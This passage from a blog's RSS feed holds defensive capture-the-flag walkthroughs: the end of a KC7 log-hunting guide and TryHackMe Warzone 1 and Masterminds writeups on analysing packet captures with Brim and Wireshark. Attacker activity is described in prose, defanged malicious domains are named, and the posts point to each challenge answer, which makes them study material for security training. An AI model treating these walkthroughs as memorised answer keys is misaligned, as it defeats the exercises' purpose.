which in practice means you have to type \\. Once you look at the <em>distinct</em> path, you see three results, two of which will be familiar as they are the executables from Q19.</p><h4>Q27 — Now that we have 3 file names, let’s go back to our process events and find all parent processes that use these files. How many total records are there?</h4><p>Save the filenames in a new variable and go back to ProcessEvents to look for every instance.</p><h4>Q28 — These executables seem to run powershell.exe on the command line and has some garbled text after it. After figuring out how to ungarble it, investigate what it’s doing. A file is referenced at the end. What is it?</h4><p>Add a filter for “powershell” appearing on <em>process_commandline </em>to your Q27 query. Copy and paste the very long weird string you see in a tool of your choice that will decode it from Base64 (I used <a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a>).</p><figure><img alt="Decoded string in CyberChef." src="https://cdn-images-1.medium.com/max/608/1*O89rBJssMmg1QS05r7vJ3g.png" /></figure><p>I was curious so I looked at what this command actually does: first it downloads a Windows package manager called chocolatey and installs it everywhere; then the manager is used to install python3; which is then used to install a Python package (that’s the .egg file).</p><h4>Q29 — This threat actor left the answer to a question somewhere. What’s the answer?</h4><p>Delete the powershell filter from the previous query and manually look at the <em>distinct process_commandline</em> you get. You will notice another garbled line of text, starting with SearchProtocolHost.exe and ending with different ip adresses:port numbers. The garbled bit is the same accross commands though. Decode it the same way you did in Q28.</p><h4>Q30 — How many unique IP addresses did this attacker use to communicate with the infected hosts?</h4><p>As mentioned in Q29, we already noticed ip addresses. But before we go further, you need to look closer to those process_commandline, because there is other instances of ip addresses being used, this time in commands starting with regsvr32.exe. So filter the process_commandline with those two executables. Then, I’ll be honest, I had to look online to find a way to only extract the ip adresses, because I didn’t want to look at the results manually one by one and risk counting one ip twice or something. I had to use a regex formula in the <em>extract_all()</em> function.</p><figure><img alt="The regex formula is ((?:[0–9]{1.3}\.){3}[0–9]{1,3})" src="https://cdn-images-1.medium.com/max/789/1*ZGM-WeAuibnOjPPeBTd94w.png" /></figure><p>Disclaimer: I did not write that regex formula myself, and I forgot to note where I found it. That said, I can explain it to you. The first part means it’s looking for numbers from 0 to 9, between 1 and 3 digits long, separated by a dot. It’s looking for that pattern 3 times. Then it does the same thing once more but without the dot.</p><h4>Q31 — On what date did this actor send their earliest email? YYYY-MM-DD + Q32 — On what date did this actor send their most recent email? YYYY-MM-DD</h4><p>Let’s go back to the Email table. Look again for the emails that have the original suspicious .zip file, save all the distinct senders in a variable. Then find all the emails they sent. Look at the first and last timestamp.</p><h4>Q33 — What was the earliest time of day that this actor sent an email? (answer is the hour, e.g. 5 or 5am) + Q34 — What was the latest time of day that this actor sent an email? (The answer is just one digit or E.G. 3PM)</h4><p>I used the same query for both, based on the one from the two previous questions. There is a method to extract only the hour, and then to order them: use the <em>datetime_part()</em> function to get the hour only from the timestamp, <em>distinct</em> the result to get rid of the multiples, then <em>sort</em> them.</p><figure><img alt="The resulting table shows numbers from 3 to 9." src="https://cdn-images-1.medium.com/max/427/1*mGylS_9h6VUG8qz1HJqyBQ.png" /></figure><p>And that’s it for Section 2 :)</p><p>See you soon for <a href="https://kellamity.medium.com/kc7-eggstravaganza-walkthrough-sections-3-4-484dbf5e7a7d">Section 3 and 4</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=013b47813e26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — Warzone 1 writeup]]></title>
            <link>https://kellamity.medium.com/thm-warzone-1-writeup-4f9eda365ab7?source=rss-5e167308fbb8------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f9eda365ab7</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[brim]]></category>
            <dc:creator><![CDATA[kellamity]]></dc:creator>
            <pubDate>Sun, 03 Sep 2023 16:08:24 GMT</pubDate>
            <atom:updated>2023-09-03T16:08:24.031Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Warzone 1 writeup</h3><p>Warzone 1 is a medium rated room, presented as a Security Analyst exercise. You can find the room <a href="https://tryhackme.com/room/warzoneone">here</a>; it’s free, so anyone can tackle it. I wanted to practice Wireshark/Brim/log analysis a bit more, and that is one of the room offered by TryHackMe (as you can assume from the name of the room, there is indeed a second one that I will work on later).</p><p>The launched machine can be worked on directly, no need to ssh into anything, just use the split view. There is a folder with all the tools you might need: Brim, Network Miner (I never used it), Wireshark, and CyberChef (to defang the IP addresses and URLs). There is no internet connection as far as I could tell, so any research prompted by the questions will have to be done from your own browser.</p><h4>Q1 — What was the alert signature for Malware Command and Control Activity Detected?</h4><p>For this question, I launched Brim and loaded the Zone1.pcap file. I clicked on the “Suricata Alerts by Category” built-in filter, and saw there were 28 alerts under “Malware Command and Control Activity Detected”. Then I started a new search by right-clicking on that value. The answer is in the alert.signature field.</p><p>NB: for the sake of this writeup, I cut down the results to the relevant fields for this question and the next two.</p><figure><img alt="A screenshot of the search result on Brim. It shows three columns: src_ip, dest_ip, and alert.signature." src="https://cdn-images-1.medium.com/max/731/1*_pNooAb97ho4Ax7nn-hhTA.png" /></figure><h4>Q2 — What is the source IP address? Enter your answer in a defanged format.</h4><p>Just look at the src_ip field. You can run the address in CyberChef to defang it if you don’t know what it’s supposed to look like.</p><h4>Q3 — What IP address was the destination IP in the alert? Enter your answer in a defanged format.</h4><p>Just look at the dest_ip field.</p><h4>Q4 — Inspect the IP address in VirusTotal. Under Relations &gt; Passive DNS Replication, which domain has the most detections? Enter your answer in a defanged format.</h4><p>Open your own browser and navigate to VirusTotal. The IP address you need to search is the one found in Q3. The address has been flagged as malicious by 8 vendors. In the Relations tab, under Passive DNS Replication, there is a list of 36 domains. The number of detection is in the second column, in red, just find the highest one. Now if you’re like me, you unrolled the whole thing and discovered that there are three domains with the same count… The first one on the list is the answer you need (not shown in the screenshot below). Be careful, do not click on any of the domains.</p><figure><img alt="Result of the VT search, Realtions tab. The Passive DNS Replication as four columns: Date resolved, Detections (how many), Resolver, Domain (the URLs)." src="https://cdn-images-1.medium.com/max/902/1*oZq9CtK2nuuTWoCXxeKZpA.png" /></figure><h4>Q5 — Still in VirusTotal, under Community, what threat group is attributed to this IP address?</h4><p>Switch to the Community tab. There is no need to open any of the graphs. The answer can be found in the second column, and starts with TA (for Threat Actor).</p><h4>Q6 — What is the malware family?</h4><p>The answer is in the same spot as Q5. Keep a eye out for a name that is repeated a few times.</p><figure><img alt="Screenshot of the community tab. It shows usernames, the name of the graphs they posted, and a timestamp." src="https://cdn-images-1.medium.com/max/1024/1*2XfiD9lcMOB37I26gb-clw.png" /></figure><h4>Q7 — Do a search in VirusTotal for the domain from question 4. What was the majority file type listed under Communicating Files?</h4><p>The search result shows 16 vendors flagged this domain. In the Relations tab, scroll down to Communicating Files, there should be 9 of them. The file type can be found under the third column.</p><figure><img alt="Screenshot of the Communicating Files section. There are 4 columns: Scanned (a timestamp), Detections, Type (where the asnwer is), and name." src="https://cdn-images-1.medium.com/max/1024/1*gaXhUy3AU4vqrp1D31Xt3g.png" /></figure><h4>Q8 — Inspect the web traffic for the flagged IP address; what is the user-agent in the traffic?</h4><p>I went back to Brim and looked at the _path==”http” results. It is a rather small log, and the traffic is mainly between the two IP addresses found earlier, with the suspicious domain as host. Look at the user_agent field.</p><figure><img alt="Screenshot of the http log. It contains the following fields: id.orig_h, id.resp_h, host, and user_agent." src="https://cdn-images-1.medium.com/max/559/1*DKXDDAvcMFsPaAbWahIbng.png" /></figure><h4>Q9 — Retrace the attack; there were multiple IP addresses associated with this attack. What were two other IP addresses? Enter the IP addressed defanged and in numerical order. (format: IPADDR,IPADDR)</h4><p>I scrolled down the results, as the earliest connections are at the very bottom. At some point, in the user-agent field, I noticed “Windows Installer”, which I remembered from the VT questions. The IP addresses we need are in the id.resp_h column.</p><figure><img alt="This screenshot is similar to the previous one, but shows the two Windows Installer instances." src="https://cdn-images-1.medium.com/max/1002/1*qU_m5DGcrhCDDUjqX0unwQ.png" /></figure><h4>Q10 — What were the file names of the downloaded files? Enter the answer in the order to the IP addresses from the previous question. (format: file.xyz,file.xyz)</h4><p>For this question, I switched to Wireshark. I filtered with ip.dest == <em>firstIP</em>,<em> </em>right-clicked on the first HTTP packet I saw and followed the HTTP stream. In the blue section, there is a filename.</p><figure><img alt="Screenshot showing the beginning of the HTTP stream. There is a line in blue saying Content-Disposition: attachment; filename = the asnwer." src="https://cdn-images-1.medium.com/max/604/1*32Pva6kwpWBX6dpLnh0hYw.png" /></figure><p>For the second IP address, the name of the file is in the info field.</p><figure><img alt="Screenshot of the Wireshark search. There is a filename in the info field of the HTTP packet, highlighted in blue." src="https://cdn-images-1.medium.com/max/995/1*TwCso-WZrY8pe6g8XE7hXg.png" /></figure><h4>Q11 — Inspect the traffic for the first downloaded file from the previous question. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (format: C:\path\file.xyz,C:\path\file.xyz)</h4><p>This is the question that took me the longest, even though the answer was, in the end, easy to find. You have to go back to the HTTP stream, and scroll way down, to the very end, where there is a huge chunk of readable data. It’s not formated in a nice and tidy way, so you’ll have to hurt your eyes a bit. At some point, there is a full path mentioned. It is the only one I could find. But I did see a second file with a similar name but a different extension, and I just assumed it was located in the same spot (which, luckily for me, was the case).</p><figure><img alt="Screenshot of the end of the HTTP stream." src="https://cdn-images-1.medium.com/max/761/1*ae-gn5e-htr62FawLKGx5Q.png" /></figure><h4>Q12 — Now do the same and inspect the traffic from the second downloaded file. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (format: C:\path\file.xyz,C:\path\file.xyz)</h4><p>Same process as the previous question. This time, there are two full paths, easily recognisable.</p><figure><img alt="Screenshot of the end of the HTTP stream." src="https://cdn-images-1.medium.com/max/772/1*Nj48McC8AzrL3J6Fzhd7MA.png" /></figure><p>And that is the end of the room. This one also took me 1h30 to do (including note and screenshot taking). I don’t know if I would rate it as a medium, but I guess it was a bit more challenging than the Masterminds room.</p><p>See you soon for Warzone 2 :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f9eda365ab7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — Masterminds writeup]]></title>
            <link>https://kellamity.medium.com/thm-masterminds-writeup-3a9670e328bb?source=rss-5e167308fbb8------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a9670e328bb</guid>
            <category><![CDATA[brim]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[kellamity]]></dc:creator>
            <pubDate>Sun, 27 Aug 2023 16:12:09 GMT</pubDate>
            <atom:updated>2023-08-27T16:12:09.689Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Masterminds writeup</h3><p>The <a href="https://tryhackme.com/room/mastermindsxlq">Masterminds</a> challenge is suggested at the end of the Brim room (which is part of the SOC Level 1 learning path that I am currently working on), as a way to practice your newfound knowledge (but is not part of the learning path itself). That said, you can absolutely take it as a standalone, and it is offered in the free plan if you are not a subscriber.<br>NB: it is rated as “Medium” difficulty, but I found it relatively easy, even easier than the exercises offered in the Brim room. You could probably manage to do it without any previous Brim knowledge.</p><p>The challenge is divided into three parts, one for each machine that has been compromised in the given scenario. You are provided with three pcap files.<br>NB: the provided machine did not seem to have access to the internet, you will have to use your own browser to answer some of the questions.</p><h3>Infection 1</h3><p>Load the required pcap into Brim. Before answering any questions, I looked at the Activity Overview to get an idea of what type of logs I was working with. (I did this step for all three infections.)</p><figure><img alt="The logs listed are: conn, dns, http, files, stats, dhcp and capture_loss." src="https://cdn-images-1.medium.com/max/252/1*xqo5Dx1fc1PmmeYJGapL3Q.png" /><figcaption>Activity Overview</figcaption></figure><h4>Q1 — Provide the victim’s IP address.</h4><p>Brim provide premade queries, which are sufficient to find most of the answers. This questions will come back for every infection, and I proceeded the same way each time.<br>Looking at the Unique Network Connections, I noticed a recuring source IP. That is the answer.</p><figure><img alt="Part of the query result showing source IP addresses, as well as destination ports and addresses." src="https://cdn-images-1.medium.com/max/453/1*HJZzw4B39_p9oUR5ytTAvA.png" /><figcaption>Partial list of Unique Network Connections</figcaption></figure><h4>Q2 — The victim attempted to make HTTP connections to two suspicious domains with the status ‘404 Not Found’. Provide the hosts/domains requested.</h4><p>Here, I just typed “404” in the search bar and got two results.</p><figure><img alt="Result of the “404” search, truncated to show the method, host, and uri fields." src="https://cdn-images-1.medium.com/max/649/1*ffwiVVTgOozt3zswD0mA1w.png" /><figcaption>Search result</figcaption></figure><h4>Q3 — The victim made a successful HTTP connection to one of the domains and received the response_body_len of 1,309 (uncompressed content size of the data transferred from the server). Provide the domain and the destination IP address.</h4><p>At first, I thought the question was pointing at the domains found in the previous question. So I tried to search with the domain names, then the corresponding IP addresses, but was getting nowhere. Because they were absolutely not related to that question. The domain is another one altogether, as I discovered while looking at the full http log, using the <em>_path==”log”</em> query. (NB: the query is different in the screenshot because I cut down to the relevant fields for readability)</p><figure><img alt="The displayed fields are resp_h, host, and response_body_len." src="https://cdn-images-1.medium.com/max/522/1*Ep0keTEHzNbpKkYwimdCYQ.png" /><figcaption>HTTP connections</figcaption></figure><p>As you can see, the answers are right there on the third line.</p><h4>Q4 — How many unique DNS requests were made to cab[.]myfkn[.]com domain (including the capitalized domain)?</h4><p>I used the Unique DNS Queries. It lists all the queries and their count. Just add together the two counts for the relevant domains to get the answer.</p><figure><img alt="The unique queries and their corresponding count." src="https://cdn-images-1.medium.com/max/400/1*VCXqOYdFnkrOwu9KJ_QNEQ.png" /><figcaption>Unique DNS Queries</figcaption></figure><h4>Q5 — Provide the URI of the domain bhaktivrind[.]com that the victim reached out over HTTP.</h4><p>I went back to the http log, and listed only the hosts and uris.</p><figure><img alt="The query returns the hosts (domains) and their uris." src="https://cdn-images-1.medium.com/max/698/1*3DfKWJNF_Ba2ZUP9d6Mehg.png" /><figcaption>Hosts and their uris.</figcaption></figure><h4>Q6 — Provide the IP address of the malicious server and the executable that the victim downloaded from the server.</h4><p>This question was actually the second I answered while doing the challenge, because I had looked at the HTTP Requests first, and the answer was right in my face (on the last line).</p><figure><img alt="On the last line, in the uri field, there is a very obviously malicious .exe" src="https://cdn-images-1.medium.com/max/809/1*Cc0Q90bslycUhZuTPMxygw.png" /><figcaption>HTTP Requests query result</figcaption></figure><h4>Q7 — Based on the information gathered from the second question, provide the name of the malware using VirusTotal.</h4><p>To be perfectly honest, this question took me the longest, because I missed the “from the second question” part of it, and thus I was absolutely not looking for the right thing. Once I reread the question and realised my mistake, it went smoothly. I pasted the first URL found in Q2 in the VT search bar, then looked at the Community tab as the THM hint suggested.</p><figure><img alt="The comment shows a hashtag with the answer." src="https://cdn-images-1.medium.com/max/228/1*BiGb-zIl5cJFJVNg53OpyQ.png" /><figcaption>Community comment.</figcaption></figure><p>And that’s a wrap for the first infection.</p><h3>Infection 2</h3><h4>Q1 — Provide the IP address of the victim machine.</h4><p>Same method as earlier, look for the recurring source IP address. I will not provide a screenshot for this one.</p><h4>Q2 — Provide the IP address the victim made the POST connections to.</h4><p>Brim has a handy query for that one, just click on HTTP Post Requests. The result gives you three lines, all from our victim to the same IP address.</p><figure><img alt="The query result shows all three POST connections. The asnwer is in id.resp_h." src="https://cdn-images-1.medium.com/max/823/1*Ted7Zj1hVZD2eekrH0VprQ.png" /><figcaption>HTTP Post Requests</figcaption></figure><h4>Q3 — How many POST connections were made to the IP address in the previous question?</h4><p>This was answered in the previous question.</p><h4>Q4 — Provide the domain where the binary was downloaded from.</h4><p>I went back to the HTTP Requests query results. There are only two lines, one of which I could have used to answer the previous two questions… Anyway, the answer is obviously the other one, as it contains an .exe.</p><figure><img alt="There are only two lines in the query result, the bottom one having the answer." src="https://cdn-images-1.medium.com/max/735/1*v9E55gJTYRgzDlZKLzy12w.png" /><figcaption>HTTP Requests</figcaption></figure><h4>Q5 — Provide the name of the binary including the full URI.</h4><h4>Q6 — Provide the IP address of the domain that hosts the binary.</h4><p>Those two questions can be answered with what we found in Q4 (you don’t need to dig anything, there are really just there on the same line).</p><h4>Q7 — There were 2 Suricata “A Network Trojan was detected” alerts. What were the source and destination IP addresses?</h4><p>Brim also has premade queries for Suricata, you can click on those and go from there. Or you can just copy that alert in the search field, it’ll go faster.</p><figure><img alt="The search gives us only two alerts, with the same src_ip and dest_ip for both." src="https://cdn-images-1.medium.com/max/625/1*j3CFErydM6-01B5bMQihmA.png" /><figcaption>The logged alerts.</figcaption></figure><h4>Q8 — Taking a look at .top domain in HTTP requests, provide the name of the stealer (Trojan that gathers information from a system) involved in this packet capture using URLhaus Database.</h4><p>Type the domain (found in Q4) in the search bar. The answer is in the green tag of the result.</p><figure><img alt="The result shows us the date it was added, the malware URL, its status, and a bunch of tags." src="https://cdn-images-1.medium.com/max/1024/1*0u9mdNoZKT5MDiZ6mLUrDw.png" /><figcaption>Search result.</figcaption></figure><p>Alright, on to the last infection. See, it’s a walk in the park so far.</p><h3>Infection 3</h3><p>Note that this pcap file was bigger and generated way more information than the two previous ones.</p><h4>Q1 — Provide the IP address of the victim machine.</h4><p>It was not as straightforward as earlier, because at a quick glance, two source IP addresses seemed to be recurring. I used the following query to sort and count them:</p><pre>_path==&quot;conn&quot; | cut id.orig_h | sort | uniq -c | sort -r</pre><p>The top result was the answer.</p><h4>Q2 — Provide three C2 domains from which the binaries were downloaded (starting from the earliest to the latest in the timestamp)</h4><p>Once again, I used the HTTP Requests premade query. I instantly noticed a lot of .exe in the URI field. They all looked pretty similar, and in fact they can all be bunched into three different sets with three different domains. Those domains are the answer, which you can also find more easily at the very bottom.</p><figure><img alt="The very bottom shows the three domains, the lowest one being the first one." src="https://cdn-images-1.medium.com/max/942/1*NaQRH84mWEieGER5IHrYTQ.png" /><figcaption>The very bottom.</figcaption></figure><h4>Q3 — Provide the IP addresses for all three domains in the previous question.</h4><p>Just look at the id.resp_h field for each domain.</p><h4>Q4 — How many unique DNS queries were made to the domain associated from the first IP address from the previous answer?</h4><p>You can either take the long way (looking at the Unique DNS Queries results and scrolling down until you find the right domain), or you can use the following query:</p><pre>_path==&quot;dns&quot; | &quot;domainname&quot;</pre><p>The number of lines the result gives you is the answer.</p><h4>Q5 — How many binaries were downloaded from the above domain in total?</h4><p>You should have seen the answer in Q2. It was obvious enough that I remembered it without having to look. But just in case: the .exe are all numbered, the highest one is the answer.</p><h4>Q6 — Provide the user-agent listed to download the binaries.</h4><p>The user-agent is not displayed in the HTTP Requests result. So I did my own query, because the full http log does contain the user-agent:</p><pre>_path==&quot;http&quot; | cut host, uri, user_agent | &quot;domainname&quot;</pre><figure><img alt="The result shows a long and seemingly normal user-agent" src="https://cdn-images-1.medium.com/max/709/1*ZiCGeJJC3pK1sgLFf1BNtw.png" /><figcaption>Query results</figcaption></figure><h4>Q7 — Provide the amount of DNS connections made in total for this packet capture.</h4><p>I used the following query:</p><pre>_path==&quot;dns&quot; | count()</pre><h4>Q8 — With some OSINT skills, provide the name of the worm using the first domain you have managed to collect from Question 2. (Please use quotation marks for Google searches, don’t use .ru in your search, and DO NOT interact with the domain directly).</h4><p>Really, be careful, don’t go infecting yourself.</p><p>First I tried the domain on VT, but didn’t get anything interesting. Then I googled, the top result looked promising (and was not a walkthrough), so I clicked on it, skimmed the article; it mentionned the domains we found so that confirmed this was the answer.</p><figure><img alt="The top result is a blog post about a botnet campaign." src="https://cdn-images-1.medium.com/max/608/1*fu6LOMF3wprqV60GB5LKpA.png" /><figcaption>Top result on Google.</figcaption></figure><p>The end :)</p><p>This challenge took me around 1h30 to do, but that was with taking notes and screenshots for this post.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a9670e328bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>